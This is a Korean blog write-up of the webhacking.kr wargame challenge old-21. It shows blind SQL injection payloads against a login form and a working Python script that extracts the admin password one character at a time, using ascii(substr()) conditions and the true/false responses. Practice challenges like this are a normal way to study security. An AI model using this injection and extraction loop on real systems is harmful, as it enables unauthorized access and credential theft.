old-21_풀이

2021. 6. 12. 15:21문제연습/webhacking.kr

반응형

 

 

본 티스토리 블로그는 PC 환경에 최적화되어 있습니다.

​모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

old-21_풀이

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

Webhacking.kr

old-21번 문제풀이

 

이번 문제는 Bind SQL injection를 통한 비밀번호를 유추해내는 문제입니다.

비밀번호 유출을 위해 burpsuite의 자동화 기능을 사용할 수 있지만 코딩 연습을 위해

파이썬을 이용하여 풀이 진행하도록 하겠습니다.

 

 

1. 접속 화면

접속 화면을 확인해 보니 로그인 폼 하나 존재합니다.

 

간단하게 SQL injection을 시도하여 서버 반응을 확인해보니 다음과 같았습니다.

 

거짓이면 login fail을 반환
참일 경우 wrongpassword를 반환

이제 비밀번호 전수조사를 위한 길이값을 유추해내보도록 하겠습니다.

아래와 같이 쿼리문을 작성하여 참, 거짓 정보를 통한 비밀번호 길이 정보를 확인하는 것이 가능합니다.

 

' or length(pw) '조건 연산자' '비밀번호 길이'

 

인젝션 과정을 통해 길이값이 36임을 알아낸 화면입니다.

이제 admin의 비밀번호 길이가 36이고 참, 거짓 정보를 활용해야 한다는 점을 이용하여

sql 인젝션 자동화 코드를 작성하였습니다.

 

2. Exploit!!!

import requests

URL = "https://webhacking.kr/challenge/bonus-1/"
cookie = {'PHPSESSID' : 'tjrr1jgbp540ahcchqobs9hc93'}
password = ""

for i in range(36):
    for j in range(1, 128):
        params ={"id" : "admin", "pw": "' or ascii(substr(pw, {}, 1)) = {} #".format(i+1,j)} 
        print(params)
        response = requests.get(URL, params=params, cookies=cookie)
        print(response.text)
        
        if("wrong password" in response.text):
            password +=chr(j)
            break
        print(password)
        
        
print("password = {}".format(password))

 

최종적으로 알아낸 비밀번호는 ghere_is_no_rest_for_the_white_angel인데 이대로 로그인은 불가능합니다.

정확한 원인은 모르겠지만 의미상 자연스러운 there_is_no_rest_for_the_white_angel로 바꾸어 로그인을 시도하면

아래와 같이 성공화면이 출력됩니다.

 

Clear!!!

 

반응형

'문제연습 > webhacking.kr' 카테고리의 다른 글

old-47_풀이(보류)  (0) 2021.06.23
old-19_풀이  (0) 2021.06.22
old-12_풀이  (0) 2021.06.10
old-24_풀이  (0) 2021.06.06
old-38_풀이  (0) 2021.06.06